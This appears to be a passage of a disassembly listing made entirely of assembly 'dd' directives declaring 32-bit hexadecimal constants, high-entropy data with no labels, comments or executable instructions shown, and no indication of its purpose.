dd 360F8194h, 0BF587379h, 0E578B344h, 679CF62Fh, 2BF4A52h
dd 4D0C8D61h, 0BF5A3AA1h, 4D76AA6Eh, 0D6243349h, 185CA999h
dd 6036736Fh, 1E45E468h, 0E2CC7DB5h, 1CFAD145h, 0DC55C56Fh
dd 0F2D915DDh, 0BE48DC95h, 8951F7Dh, 0F46DE0C0h, 8B91135Bh
dd 0A4534418h, 42A95C57h, 0EA597809h, 108BB73Bh, 0CAC9A5A8h
dd 0E13246D9h, 0B32EC0ACh, 62FC19BCh, 0EAFB94CDh, 219219A5h
dd 7B13C3E7h, 0C4316029h, 7226DF5Fh, 7DC8606h, 0DA227BCFh
dd 5B3B138Ch, 0BE371543h, 0EE2EBBC3h, 332686ECh, 0D0156BC7h
dd 2F9884DBh, 0A520B821h, 3B641062h, 3BC03F10h, 0CE864AB0h
dd 6C28B8E8h, 0CD4BDFB7h, 356C2F5h, 494FEB57h, 0B2369E56h
dd 48138FBCh, 0F77F0013h, 0F197B82Ah, 8D1C1962h, 8E5587CDh
dd 0FE597F66h, 0D927BF65h, 0A394CA70h, 0DB15F51Eh, 4F469CD3h
dd 0CDCA3C15h, 1061B3B4h, 0F4C0E5D7h, 5D5E779Ah, 51E97B65h
dd 9310E994h, 0DBF80951h, 4642FCEEh, 605E8769h, 0C18C11Fh
dd 0A58D7986h, 974D6468h, 1BC8C4A6h, 87B3198h, 7CB7A436h
dd 0A013D3A3h, 3DFED4F3h, 3B03A273h, 0E3EA2BF6h, 9812637h
dd 1B577F86h, 4A2D8D6h, 1EAEDEE7h, 0E8700767h, 5DFFE2A7h
dd 34C77F13h, 39FD7860h, 3838ACD6h, 0EA55C65Fh, 6D31666Dh
dd 0EE613DCCh, 492959A6h, 36A19ADFh, 0FA266233h, 0D4F4E933h
dd 0C5889FF0h, 3A8B1DCh, 8424CC2Ah, 7F47ECE5h, 65BD358Ah
dd 1BA193F5h, 1B941391h, 9CF8D9FAh, 47F22943h, 81EB9C2h
dd 0B332D906h, 74AF97CFh, 0D6D7E9AFh, 50B9C439h, 5851F676h
dd 94835228h, 0B28F2022h, 821AB4C8h, 126059CBh, 7BBB05C7h
dd 747E5E40h, 9F451699h, 82E6EA82h, 425DB775h, 21F9F85Dh
dd 0D413DD17h, 0AAF43250h, 681C145h, 2A6C8290h, 0F2EA32A0h
dd 7F5E0A5Bh, 94786DD2h, 0FE3B1FA5h, 0C956A9DEh, 0B672267Ah
dd 6154A086h, 3B32F659h, 23AD3857h, 0F456B4FCh, 0FD5CF362h
dd 85B39198h, 8F5192C5h, 0D53F8258h, 48CCCACEh, 7DF081EAh
dd 0F7846298h, 0F419A35Ah, 0DBF9D649h, 0B79B662Ah, 0D984FF53h
dd 95E75309h, 0F32E2AEAh, 65680BF9h, 0B1BA39C1h, 69F3C5A2h
dd 79E24E27h, 0DF77ECE0h, 0E9E0D0D5h, 68933B92h, 6A298E19h
dd 0AC3F8E9h, 0B5E884EEh, 0B302C1EDh, 73820D72h, 25E82C16h
dd 33C8DC24h, 45F83A38h, 4FF9722Fh, 0AC722A1Ch, 0EBE3FD49h
dd 13CE69B0h, 3345AFDDh, 39C3207Fh, 3D4D27F6h, 0BA409E56h
dd 23A4E352h, 68DE68CBh, 34E35AC2h, 9F53A694h, 2B6BE709h
dd 73EE6446h, 0E26A5DD8h, 0EB57FF4Fh, 2D170107h, 6351DBBBh
dd 7A774BDBh, 0E341311Bh, 1E349001h, 24EA2D0Bh, 2C6CCB87h
dd 0E4A4CEB7h, 1F74DE9Ah
dd 0CE1203B2h, 5408DB02h, 0DCEDCBA5h, 0A8473D89h, 6D489729h
dd 305D233Fh, 0DCC5C745h, 0CAD84D57h, 24670710h, 31F59C9Fh
dd 0F2FE3B4Dh, 0CF123202h, 3A4442Fh, 18FD4DCBh, 87628B79h
dd 0B4069F60h, 0BB2024A7h, 85BDBFCBh, 0B224F733h, 9A52DF92h
dd 69E32EE2h, 0CD515850h, 6E8D10Eh, 0FA977AA3h, 9122B4DBh
dd 0B9EFFAE1h, 3BD59B18h, 0DE4DD810h, 0E8A2BED9h, 0DEC03886h
dd 7E2A800Eh, 2B4ECB9Ah, 0C043D453h, 457C0B68h, 0F066D567h
dd 7C9C3A5Fh, 9084A1D7h, 5F43242Dh, 4D724891h, 6172CDE3h
dd 0AB402D60h, 0A8B1209Dh, 0D67610C5h, 66D63C43h, 2E5B655h
dd 805230E3h, 0B8E45098h, 4B55F9DCh, 35762F2Ch, 5C89EFADh
dd 104FA48Bh, 8A8CD816h, 429028DDh, 8F84AA1Fh, 45867C6h
dd 0D11B81ABh, 661EDC8Bh, 3FB02FAAh, 0A5DB093Fh, 0DA86A421h
dd 8DEB28A8h, 0CE90D720h, 0D9A7ED4Eh, 0BC59F8FDh, 55BF619h
dd 10198A6Eh, 73E9A0D1h, 67395D3Bh, 983AA7BAh, 0A983B22h
dd 46641953h, 69A74858h, 0F070449Dh, 9F391174h, 5349A721h
dd 68472926h, 0A4A74216h, 64A6D80Ch, 0BD799432h, 9632DDF8h
dd 0C0B6FEA6h, 741F940Bh, 8915CA34h, 79194D6Dh, 0C7ABB1A1h
dd 0E8A4A766h, 128CEC2Bh, 0AC8DEF28h, 0FF2CB3D6h, 0E61059B1h
dd 579EB7DDh, 39F236D0h, 5AA0CB61h, 6730DC84h, 869E724Bh
dd 710EE385h, 857AA1F1h, 0E03CEF98h, 0B317A579h, 46301563h
dd 1CF5F9C8h, 0D6502B1Ah, 9A968BB7h, 4676F74Ch, 7A77FE76h
dd 0BD2FD6ECh, 0FFECA8F4h, 7CDBA8C3h, 2B3F2095h, 0F7A8107Ch
dd 6994EEF3h, 0F2DFEBE0h, 0DCA38EDDh, 52E005DCh, 19AEF586h
dd 9D4EB43Dh, 0B500612h, 31053DC0h, 0BD8C3E26h, 0D1B952A7h
dd 5906EF79h, 24830004h, 0E0E2DEEEh, 48E55CE7h, 18B2127h
dd 0CAFED1F6h, 621FAA9h, 0A90DA5F6h, 643AE313h, 0EE828C5Ch
dd 872F7538h, 487EF4F7h, 0EF3F452Eh, 0BADEF324h, 534F5549h
dd 0BA32799Eh, 9A139549h, 51C73E53h, 0FD3636A9h, 42B94A57h
dd 4454BA7Dh, 9C6D1DACh, 0E0E9D888h, 4636E300h, 6CAE021Fh
dd 772E9BA5h, 0C248DAB9h, 44F6E543h, 530AA093h, 0B8A91870h
dd 0DE9F32DFh, 8B9F9029h, 0F70BABDEh, 34DD4B9h, 44DA8E18h
dd 0CF67970Dh, 0F25369F3h, 0E51D385Ch, 0D97C882Ah, 0A82AA4F0h
dd 7A94CC9Fh, 0B8DC6768h, 91E88A44h, 961E8672h, 0E261C176h
dd 9FEB7F04h, 268462C3h, 6E06EA1Dh, 6CD8383Ch, 0C43384F1h
dd 725C218Fh, 5E54A065h, 0B35FCD80h, 290A0335h, 388B729Bh
dd 0D87F64A1h, 0BA5AE03Ch, 65BF5B1Eh, 775E0377h, 8E5FDC94h
dd 21BF4353h, 0F5E55AC7h, 5B23CE05h, 0DD217109h, 3AB0DFF8h
dd 0C535BCB0h, 704FBED5h, 0EAB4170Eh, 1182EDC2h, 373DB23Fh
dd 19C6BE79h, 7C7576FDh, 0F81FE004h, 5D9C0009h, 0C06B629Fh
dd 2D40ABE4h, 12623F99h, 0F6A80EE9h, 0D99645C5h, 0DD1E4D43h
dd 0A2D08F52h, 61E9546Dh, 43AAF0B1h, 27227815h, 0DD5533D6h
dd 1488A342h, 1A565AB3h, 8B97DE78h, 20258D84h, 0DC1BB965h
dd 0D275F8EFh, 0BF772FEFh, 7CC5888Fh, 6B8864B5h, 0F265D538h
dd 6C77CD22h, 0BC0CE262h, 436E7072h, 8B8CCFA4h, 3EEA7DBh
dd 0AD8AA49Dh, 29E36BA5h, 11D94A16h, 0A87AD896h, 338E4930h
dd 360525D6h, 44A48937h, 0BF5BBA55h, 0A90C7A08h, 0AEE42D2Ch
dd 70F1B9D0h, 29EEA66Dh, 0C0BF0528h, 0ED34B4F2h, 0B17B5B22h
dd 0CBE01FDAh, 0D110A501h, 7425006h, 447784C4h, 0C99F8530h
dd 78472A11h, 88D99681h, 8B3A9506h, 0F39F2DB7h, 98995BCh
dd 0F818E068h, 7B0E1384h, 3E937060h, 39E460Ch, 0CDA20383h
dd 0A28C53A4h, 744B0ECFh, 0CE94D52Dh, 0ED5A213Bh, 387E225Eh
dd 0FD37723Bh, 476C7E7Dh, 0BC15FB27h, 22D9E91Ah, 93696977h
dd 32CD67FAh, 867C8709h, 0A3D6063Bh, 0C4415AC1h, 0CBB5F11Ah
dd 5315A05Fh, 1CCFF905h, 2E736A38h, 673A3FF2h, 1B58A18Eh
dd 10DE8982h, 0ED5279DEh, 66DE0DCEh, 89983D01h, 93E88EFEh
dd 0BDED3171h, 0C4095C31h, 6CB3EB92h, 20A4B4F3h, 0ABFA5601h
dd 2BFF1378h, 83AB7A86h, 188EE517h, 5D8FC2C3h, 0FD15E8C8h
dd 209FDE67h, 26AEC248h, 33FCE1A6h, 3B8E2D71h, 66E3A8Fh
dd 0F01C1DD6h, 0FAF7D47Bh, 1D829884h, 0C426B7CBh, 3E05FCC1h
dd 4D83A7Ah, 739A35FDh, 0AE38FAA2h, 70F2DD2h, 0B080C80Dh
dd 0AB70B068h, 0D3D9CFBDh, 0E9223052h, 0E5063FDCh, 21E6D556h
dd 0C32C8943h, 1AA6FA66h, 2EC4A399h, 7CFA8363h, 8BBFF332h
dd 74EDC296h, 7237EA63h, 0FB826DAEh, 106F5F1Eh, 5FC08445h
dd 195FAC2Dh, 0BED5A681h, 534414F0h, 2EAD3B36h, 5D0DBB0h
dd 0F05B5FD2h, 9ABD5CF3h, 7037B9DBh, 2E7D7F1Bh, 8BAA62D1h
dd 0E1B611D0h, 8FA9B972h, 502CEA07h, 0F67253A4h, 0B6E671F3h
dd 9080EC3Ah, 7E6ECCD0h, 8B4A1BCAh, 0E5BBD1CFh, 0A7F7ABCFh
dd 92B781F1h, 0D5495FFAh, 29BFE024h, 13940E0h, 58490EAh
dd 0A228E2B5h, 0F1053FFCh, 11DE1700h, 36B53080h, 0DCE2FFA6h
dd 0DB8FC0B3h, 0AFB8F0D5h, 0DB4C3890h, 62DAA570h, 0CB091AE1h
dd 86C8B5D5h, 0E053CBA9h, 3F436D35h, 0C6F91AE5h, 65453830h
dd 66092F5Ch, 0BB09FDCFh, 0EEF37E9Dh, 0C0F28ACDh, 0D8B3227Eh
dd 539E404Dh, 58A21138h, 0BD86B420h, 8668393Eh, 63C4A276h
dd 0D8923FF8h, 1AA421A2h, 0A5AE781Fh, 0DC1CAAAFh, 0CF0EC053h
dd 3233AD25h, 0CB8F6B4Dh, 9860C019h, 514A2F48h, 8E45950Eh
dd 0FCF5CBB0h, 0CC6B6185h, 2B011AF6h, 0C0B2CEB4h, 87800801h
dd 797E0DB6h, 4B03CD67h, 4A20BFCBh, 0ECCE3170h, 7F072251h
dd 1B88585Ch, 0E6DA6AA7h, 591D89ACh, 84E64ABAh, 0B03A5D17h
dd 0BFE566D6h, 0EDEF727Ch, 0AC50D49Ch, 20C742Dh, 0B5AFEF9Fh
dd 0BBD2E82Ah, 0B3974AD2h, 806BE9EEh, 8B17E95Ch, 3D9D15Eh
dd 7071BFDBh, 8A29064h, 0A46A0AE9h, 11F1CF6Bh, 0E26A320Eh
dd 8DDD01C8h, 7EAE7665h, 0C925B556h, 0EFB6030Fh, 46F8957Dh
dd 59D9FB7Dh, 99AD765Eh, 60D4DD64h, 2F5492D9h, 2EF917C6h
dd 8B4DF47h, 46FFCECCh, 0D2ADE840h, 0D8D607A6h, 2BAE9764h
dd 5B44A42Ah, 8D039B88h, 5B5CEE75h, 5C4835CCh, 56AC35E3h
dd 9E7805F2h, 35EAFC3Dh, 0BC64BBB0h, 0C5573853h, 0ABB06381h
dd 0FD0E8B6Ch, 82670107h, 96D372Eh, 0C9574FD6h, 873F1E07h
dd 64D0CAABh, 0B8521C09h, 0A2B6A9CAh, 0F5E4EDDCh, 0A207C53Dh
dd 0BA6B5DF0h, 0D1051C57h, 0D249B656h, 56CCD273h, 0FBA3D43Bh
dd 0FAFBB76Dh, 72EF89DBh, 0B60EF297h, 0E86FA6CEh, 177F55A1h
dd 8B756440h, 0A1BC6C1Dh, 68A3E85Ah, 40248CC4h, 0C80A9E99h
dd 841C0CD5h, 5931FADFh, 0FB22556Eh, 62CE0900h, 3866B74Ch
dd 139984D6h, 0AD512AB6h, 4B0C790Ch, 0F0438C41h, 16B18850h
dd 0A84A7694h, 0A7FB53CBh, 0F03B21C4h, 489A518Dh, 0DA485052h
dd 69C86725h, 47D8A987h, 6C30712Dh, 6A9334BBh, 0FD8C3C8Bh
dd 0E3681874h, 80C66AEEh, 0A6FA5E9Dh, 8FEB9ED2h, 0C513935Bh
dd 0FBBB3B09h, 6FC54DA0h, 5BE85463h, 9C521A02h, 0B936989Fh
dd 726735CAh, 0C2317342h, 3BA546E2h, 0ABE1A5A4h, 0DE5F2C32h
dd 0F98AB0E7h, 189C435h, 8BAA1FC0h, 0D43FE52Bh, 8AD28695h
dd 8E4261D0h, 0D80A50BDh, 7964360Ah, 0A3BB1059h, 452EDEAh
dd 0D84536D6h, 0CB3D0349h, 0E4B9EFE5h, 31AC920Ch, 4BA429A6h
dd 0F44A23F3h, 8A9E85B7h, 70440B2Bh, 0AE3CDE71h, 0B4917DAAh
dd 0C1995AE7h, 63881058h
dd 15ACE39h, 5A187586h, 0D92E1388h, 0B7A80DC1h, 89B022E9h
dd 59CBB12Fh, 1B9F849Dh, 461E416Ch, 4F5690BFh, 78A672CEh
dd 9E1BF34h, 494BDB52h, 18CAC4D4h, 6C122B8h, 0D1076BB1h
dd 9ECAAFAEh, 3B971A71h, 0F9267F67h, 83CC4h, 994FDDA1h
dd 947B3FCAh, 0B23C0154h, 993DC647h, 3FDC18B5h, 0C05B9DCDh
dd 0AC7A060Ch, 0CB526733h, 0E18BB22Bh, 0FFAF6B3Ah, 71A1D884h
dd 4C36B882h, 638919C5h, 8802A725h, 0A2B33755h, 8924F0A2h
dd 7E454831h, 80BA8047h, 0DA027411h, 5BB6FAADh, 0BD99EB3Ah
dd 0D223B75Bh, 0EC204D07h, 8CED3889h, 0DC150835h, 6C6037B6h
dd 73C04183h, 3478397Ah, 58A71535h, 6C0D4E20h, 67D292E7h
dd 81FB3349h, 28E8423Bh, 6A6232BAh, 98175515h, 0C87CD4EFh
dd 55353BF1h, 0ACC2D568h, 1EAEA719h, 0CA57E391h, 0FF2F2AF5h
dd 48BA0624h, 2346460Ch, 0D94CF6C3h, 0E17FF166h, 36BCC59Bh
dd 9EB95F7Ah, 629F67B2h, 2C3FB55Ah, 78AC1AC3h, 0A9EB167Ch
dd 0B32E12C9h, 868ADD7Bh, 764DCFC9h, 6E0DA3E2h, 3466A4D6h
dd 136B0A28h, 0F78BD31h, 0B3D687A2h, 3A6D456h, 190D974Dh
dd 0F4FBCD32h, 5687040Ch, 0B572FF9Fh, 0EF2365C7h, 37B11A2Ah
dd 75E962C8h, 9C853FC0h, 30B44F1Eh, 5C677B70h, 0EE5EBD7Fh
dd 0CCF7721Bh, 0D3059D55h, 9B1BB3ECh, 730335B0h, 679A79F2h
dd 0B6B93922h, 240DB955h, 8386DD20h, 0D5F64037h, 81AF76C5h
dd 0E81D651h, 0A3353F8Dh, 1DA2C5E5h, 0DDB32EFBh, 0D06E917h
dd 7E49FD2h, 0DF91B814h, 0BB7C9ACEh, 0B7ADF827h, 0B9DEF170h
dd 0AE2ED121h, 0E8C78041h, 2117C6h, 6A8D5591h, 70DF1933h
dd 0CCF56F25h, 523B844h, 47B365A2h, 2F1434DAh, 0AF39C0Bh
dd 8A056480h, 95B7942Ch, 0E4722045h, 10D80FDAh, 0C640468Fh
dd 6C5A81C3h, 0B5F4BB07h, 0F20196E0h, 0F5AA7189h, 611A8908h
dd 0B103FFA0h, 0D9DB0ED7h, 6CF2EA45h, 0FE5062ABh, 926D94Ch
dd 2BB9BB6Ah, 4C7F05FFh, 0BE9A1486h, 48781055h, 0B0D09F97h
dd 5B6B57C3h, 0CD1C9DE5h, 1793E399h, 0D06806DBh, 65A3E1FFh
dd 689FC6E9h, 0E37CA5F3h, 1B1F2F92h, 359C28ADh, 60ACF98Dh
dd 8B88D0E8h, 0BCA084F4h, 0F87BFD7Dh, 8CFD7B47h, 85C32C92h
dd 386023CFh, 0E0376EB3h, 47F8A798h, 0BE20545h, 0FF08686Fh
dd 361FA8B0h, 36B652F5h, 97EFE15h, 9233D4B6h, 9A118554h
dd 0B9D08DD1h, 9D6C5094h, 55A279F4h, 0ECFC73A0h, 0D076F858h
dd 4E9E001Ch, 89E26EB4h, 0D2DD0BD1h, 3268FF2Fh, 8D41B169h
dd 69BECF13h, 8136C304h, 92222DE1h, 0AB1CDF6Dh, 90DA4F6Dh
dd 0B4B4E17Ah, 9F742987h, 0FD2FAE4Bh, 8D39CF4Dh, 4BF7754Fh
dd 0B6459E8Fh, 0D102C73Ah, 0F895F2C1h, 5AB18679h, 0A167C015h
dd 1A1DE769h, 1B6F535Eh, 603D8136h, 0B130857h, 0C10BF9F6h
dd 7314F372h, 0D660D0ACh, 839A51B8h, 40215ACEh, 0F4F02A58h
dd 326C9383h, 0F909698Ah, 771142D6h, 0A801C241h, 0A09E1C4Bh
dd 272A0E33h, 64E45AB7h, 2A28AA0Eh, 0DE265DB7h, 1D04922Eh
dd 0EE6CCE30h, 0A64B0C47h, 0B1D6992h, 0A4D40FC2h, 635EC6FFh
dd 0E3DDC0BAh, 0F1C252ADh, 7A7702Eh, 0FBC94B12h, 4D2B5A0Dh
dd 933D37AAh, 0C0CD797Dh, 3D153034h, 6BBF2D7Fh, 588D2C6h
dd 8E622718h, 0A2747EA1h, 853BA432h, 0F33AEE84h, 0A8E5F956h
dd 65265D9h, 85778CA5h, 0D0B54D25h, 0F6F8C5D7h, 0A110EE70h
dd 1814F4E9h, 4A728F7Dh, 60CDD034h, 153B99E7h, 0C2D0A4D6h
dd 914FA50Ah, 0D12D16A8h, 75F3ABB6h, 5F4A2B5Eh, 2032DB8Ah
dd 396C01EEh, 3174539Dh, 0E2C9021Ch, 1D2014C4h, 0DAB71A6Eh
dd 1085F562h, 6471C356h, 0B9FA27A7h, 24DC55B2h, 0A67DE668h
dd 4ADD9B7Eh, 75903703h, 84EC2CEAh, 0B8124973h, 0DE8D9E45h
dd 86135A55h, 67B449DCh, 89AEC0AAh, 0A807A7DFh, 848C6BDh
dd 802266B8h, 0A8BB5A41h, 9FECA8h, 0F546598Eh, 4A2F8A5h
dd 32059367h, 0FCE60F4Dh, 0EDF305E1h, 99F78224h, 1DC401CDh
dd 7CBC9106h, 4E0A27ECh, 550EF326h, 0FE17AE7Eh, 0A461B4D6h
dd 8CC7A146h, 6543BE1Ch, 8091FCA5h, 0A72B0FE2h, 90BA3A6Ch
dd 91F7BDDh, 0D2B3D6BCh, 723BB37Dh, 0FA90E98Ah, 215A9E39h
dd 0B7082F18h, 97AF5FB2h, 249A3A49h, 999B7314h, 0F2B69FAEh
dd 330EAC98h, 666D4E7Ch, 79B44852h, 0B4BE28CDh, 2B7EBCAAh
dd 0AE35CDAEh, 64EEC98Bh, 58BC81B8h, 0F37EF404h, 0C67A9E02h
dd 264761A2h, 7548ABA8h, 94E2CC7Ah, 0BD22E17h, 0AAE109F8h
dd 56B4ED43h, 0F725A582h, 7A19B9B7h, 9B5412A0h, 9B6EE2B5h
dd 0F7267B1Ch, 8DFFE1AEh, 8F300EAFh, 578C5DBEh, 7A724558h
dd 43BCC36Dh, 2F05A82Bh, 1A0D610h, 30C21B9Bh, 0BFA756ACh
dd 0FF53BCD8h, 75755F93h, 46A80A51h, 0B4BFDC20h, 307007ADh
dd 0C1AB52E7h, 11A90BD8h, 18C7D578h, 71B908DAh, 49688267h
dd 7BC5C1E6h, 0A4870A09h, 45823FE4h, 55CEB1D6h, 7DCB6E21h
dd 9110CFD0h, 1CFE980Dh, 3E5AB311h, 0B53CEE55h, 0AF114815h
dd 966133ADh, 0E09AB52Dh, 0F7C353BDh, 0D3337ECDh, 64588F15h
dd 6436A69Fh, 0CB65DF64h, 0E6035981h, 0B4E734C9h, 0F1BCBF1Bh
dd 8379E2F4h, 38BB0A3Ch, 0DF447A8Bh, 28465A44h, 63ADE567h
dd 6B8B922Bh, 5D11D2DFh, 9F2D2821h, 1B29BF5Fh, 3749833Dh
dd 60C971F5h, 0BACE2F25h, 0FC7E5678h, 142991D6h, 0C6BB0DB6h
dd 6861E9F3h, 0F2338A9Ah, 98EAAC4Dh, 7252B7E4h, 90C28084h
dd 8C4F7h, 0DC190BF1h, 0E5A3DC82h, 8EE683Dh, 0A9AF7F44h
dd 9B558B7Fh, 0DE2E1CADh, 0B569EBEEh, 0B1C49D87h, 0A04CBB22h
dd 37FE698Ch, 21239D5Ah, 780754C7h, 1C8BBA7Ch, 0E8D25AC7h
dd 1B5059EBh, 0A2488B49h, 252402D4h, 1974CC59h, 8C87F0DEh
dd 0EB207E2Ah, 0FCF32013h, 14A824DBh, 0D84FAAA3h, 4C8CF97h
dd 0FF0A8853h, 4EDE2456h, 3085957h, 0A9465C77h, 6495DDA6h
dd 82C574FBh, 60068700h, 7F252931h, 0E077594h, 54A9CFB6h
dd 0F34D4229h, 19DF2620h, 0D7398D2Dh, 4C10157Fh, 81D91417h
dd 9C96A010h, 7569FD78h, 0B8318225h, 0C76718Ah, 7154B211h
dd 0C15F3878h, 7C4E327Fh, 2A98AB99h, 30E987EEh, 1C8AE9CAh
dd 914D2DEEh, 3ABB6A6Ah, 0E1FFE665h, 1C7CB990h, 65530EAAh
dd 0E39163F8h, 81C21CCDh, 2EF40A6Fh, 147268B3h, 0D39267FBh
dd 7E3CAEC0h, 0B44A2171h, 27092F08h, 91F98BA3h, 47EB8036h
dd 405E6E07h, 2AB05EBAh, 479A4F95h, 38DF2D2Eh, 1E06210Ah
dd 839FA41Ch, 7B084480h, 0FEC48CBDh, 3D2E9AC0h, 1FD6C36Fh
dd 0DAC0D8CBh, 6A50C161h, 0E37FA9CEh, 0BCBE3B61h, 94EF48D5h
dd 0A80E6EF2h, 2DCD2DAAh, 0EB9447F1h, 2DB47E77h, 0B3FC95ADh
dd 0DBBC832Ch, 0FB905550h, 0A797066Eh, 0AE95BFCh, 173BD139h
dd 193BDE60h, 0CDB72279h, 5A38A4BBh, 0E7CB6F1Dh, 2FB7E21h
dd 0FE2AA608h, 31226395h, 43E67BFAh, 91B523E4h, 0A653A104h
dd 0BEC231A9h, 0C20117D4h, 0BFC5B542h, 0D08DCE99h, 6100E81Bh
dd 617C5DFAh, 0A80059DDh, 3A102A00h, 4A3A8E81h, 0CCF1D9Ch
dd 300AAD82h, 0CCA7B15Bh, 91109041h, 0A387C8A5h, 0DBC0B350h
dd 49ECA79Bh, 0D68E1BA8h, 51625175h, 0F69043B7h, 4FDEBB79h
dd 406CAD61h, 0C97C4946h, 597212FAh, 357F56B5h, 0A9E79734h
dd 504BC9E3h, 0AEF3BF07h, 3481932h, 0E5C196BEh, 0FC28E082h
dd 0D249E97Ch, 88F91C58h, 0EAA08133h, 0E3AF86EBh, 98635DC5h
dd 41A7AEFDh, 52074F67h
dd 0A6F3017Ah, 8780E76Ah, 898DA15Dh, 5A6C8F23h, 0E7B47902h
dd 4FB30D5Ch, 0D264DF8Bh, 0F0CDCEF0h, 4B1880C1h, 2AAA8F32h
dd 72E048F7h, 19EC73C2h, 9693DCF2h, 0EE32C6BAh, 0A7660F08h
dd 0C87D6395h, 0BD118CBCh, 0E2C582C1h, 0D9F3ADD0h, 0C6BF50Ch
dd 0A2377ACCh, 23F4C6Eh, 1A51145Bh, 84B17274h, 0C50118F6h
dd 37D346D3h, 0A9A222C6h, 1B012961h, 377C5B41h, 0CDAA429Ch
dd 0B3A48CACh, 0A037C2E2h, 0A6ECBFF4h, 4E54B093h, 855A9E07h
dd 77F8F6A8h, 1BCA42FBh, 72950AD2h, 87A96674h, 0D1898CCDh
dd 0E0B51540h, 9D5AE7DCh, 251637C2h, 80D884C5h, 39723DBAh
dd 0C6FB497Eh, 6473F743h, 0A234A2C0h, 0B9B16C61h, 5A987C3Dh
dd 0ED20338Dh, 0DEB9F9BAh, 890FC45Bh, 379F15D9h, 7A07BEA5h
dd 5C51957Fh, 0E4C5104Fh, 0A3E7FCB7h, 97A6DE48h, 852905ECh
dd 0BDE98C34h, 0EE95C7A3h, 0FD68FDD1h, 814E2CDEh, 0D929645h
dd 11A1CF6h, 0FBAB60Bh, 0BA3B3CBCh, 34A1A0F7h, 59069AF5h
dd 0EAADB8B0h, 5D4CEA9Bh, 5BD7AF03h, 0B301B3DEh, 5B377C7Ch
dd 0C338A382h, 3680980Bh, 904D8C27h, 46165502h, 0CA84CFE2h
dd 0E525D3BFh, 0E08C7CF6h, 8FEBA2C3h, 94904365h, 97537150h
dd 0F5D5E4D2h, 0C0FA37EEh, 8E807C92h, 2C9392B5h, 0D33A88B0h
dd 7EBEAF57h, 0A0D2DB87h, 6A51212Ah, 3B49A83Eh, 3411FC1Eh
dd 396370EEh, 4F4F9084h, 2DF10F61h, 0FF3986B8h, 427AC04Eh
dd 0AD8CB7EDh, 45AD9650h, 0E2BBFA01h, 39C9787Ch, 2E2883D5h
dd 0DA05DC65h, 0E29BA02Eh, 859A4AFDh, 0F5498AA4h, 5E20D821h
dd 0ED9586C4h, 0AD90D121h, 289F556Eh, 0F484A05Dh, 966BE90Ah
dd 0BF1A729Eh, 0EAC0B83Ch, 718C0235h, 5B86E675h, 8D37AFB3h
dd 75A8C2B6h, 0B3EE8A31h, 0D3DDCBF7h, 0E886277Ah, 7EBAFFA4h
dd 495AA6A1h, 0D6312BB0h, 85FA3C2Bh, 0D4A08771h, 0AF9FE87Bh
dd 2B5EBB33h, 0EDC441EFh, 76EDCF7Eh, 9E3C902Ah, 845078EDh
dd 0D75E684h, 6DA88F70h, 31B68903h, 0F756056Eh, 479BB56Bh
dd 9764CB92h, 3444BEDDh, 679A995Ah, 0B0BDCB01h, 0CED39BE9h
dd 0A6075DF5h, 749FD4C0h, 0B201849Dh, 0F87BB362h, 9F82C8C7h
dd 0FA2A59E0h, 49428772h, 9C9C3836h, 47D5E13Bh, 0EBD79B1h
dd 0BC5A3DF3h, 0B5095883h, 0FF89AD60h, 3F0BBD9h, 0A84FAF77h
dd 0AA27B1C2h, 0BC82C28Ch, 0AD81F7D5h, 0A2281179h, 587AC5B3h
dd 7A841B50h, 0B7CED4D1h, 0B65CA03Bh, 94C8A65Bh, 0AB71EBBCh
dd 4F46F741h, 177F9957h, 7A45ECEBh, 0CC41BFDh, 9E314514h
dd 512F4B01h, 6AD11CD2h, 0C9628D62h, 92241FE5h, 0C60C482Fh
dd 8BA4AB3Eh, 504C0972h, 0F270FD0Dh, 43A1F3C1h, 7B07C25Eh
dd 3A6A5FDDh, 0A48A1C54h, 0A0D208B1h, 16CD2C0Dh, 0E86E5BA0h
dd 7804D539h, 98726B7Ah, 9EDF1B21h, 83F44B64h, 69CD8479h
dd 77A37EF1h, 1E4B265h, 2545BC4Dh, 0ED68D63Dh, 0D4CCF7E2h
dd 8504ED56h, 7572F828h, 0AD2A6B11h, 10FEAD8Bh, 0D4C6479Eh
dd 0CD21EBCCh, 5FED0C9Fh, 0F64443BBh, 256E425Eh, 0FE1AE5C8h
dd 38AA430Bh, 4473654Dh, 3F34A623h, 660A3FE9h, 2A770C86h
dd 0A748EEEFh, 0F5756709h, 0C66E11A1h, 23C0EBCAh, 819977D4h
dd 0DFF28104h, 15CC5116h, 11F14686h, 0D452922Eh, 4C211FEh
dd 20D5A29Eh, 61DB6F5h, 86C34568h, 0E75F34ABh, 96765DD7h
dd 0BF2E7202h, 8D932F2Bh, 0AD6C7A5Ah, 6A91C4EBh, 894C1EBBh
dd 7167DD0Ah, 26AE50D1h, 18477818h, 59A559EFh, 0AEB59DD4h
dd 189689FFh, 77C4D8D0h, 0C9C65C52h, 6E7CE382h, 7C1A363Fh
dd 885BE5EEh, 49269DB1h, 30FBDFC6h, 508D0F14h, 0D008EA3Ch
dd 877AFAB2h, 5F901254h, 19520B9Ch, 0D3385766h, 87051856h
dd 5FEDFD12h, 82950685h, 0BFBB690Ah, 869E5369h, 0C11BC28Ch
dd 662F7FDFh, 83B82766h, 4AFD9197h, 83F3B7B3h, 0C5A4E02Ah
dd 0F7BCFE23h, 1E1A8644h, 2F579342h, 0E62D39D6h, 0A04AC5EAh
dd 93A1C43Eh, 0AE34AC81h, 2BAB7337h, 0A7E956ADh, 166F1490h
dd 2E1DB24h, 0D1316BD6h, 6F43E66Bh, 223E79F7h, 0C65C438Dh
dd 46FFDDA8h, 14CFA77Eh, 0FD42B761h, 27A0A27Ch, 5E21E2C9h
dd 53C082EDh, 0CA172A8Eh, 7AB778B8h, 0CF21242Eh, 1592C917h
dd 3E0EF1D0h, 6FBBCC6Dh, 0A01C467Fh, 8316BB37h, 4AFA66FFh
dd 0FAC5E0D0h, 1A6F2ACEh, 2AEE80D0h, 0C01CAB9Bh, 624BBA34h
dd 87704A55h, 0BA18176Ah, 7EAFF721h, 1E3C4D92h, 3EEA0A6Ch
dd 653CF71Bh, 0B614CDA0h, 0F9D9BBE7h, 0C5DAAEB8h, 66E5DD25h
dd 40E22253h, 504E964Fh, 33B12839h, 0BA41B0AEh, 2D9A1C88h
dd 0F48C3121h, 0FB5FEE88h, 1A556A8Eh, 0BE883B00h, 71831FF0h
dd 0B35F468Fh, 14EBD825h, 56279840h, 0E058D99Ch, 26E818E0h
dd 8720EB35h, 5D01F387h, 0E83F4592h, 0C29BFB54h, 0FD57A78h
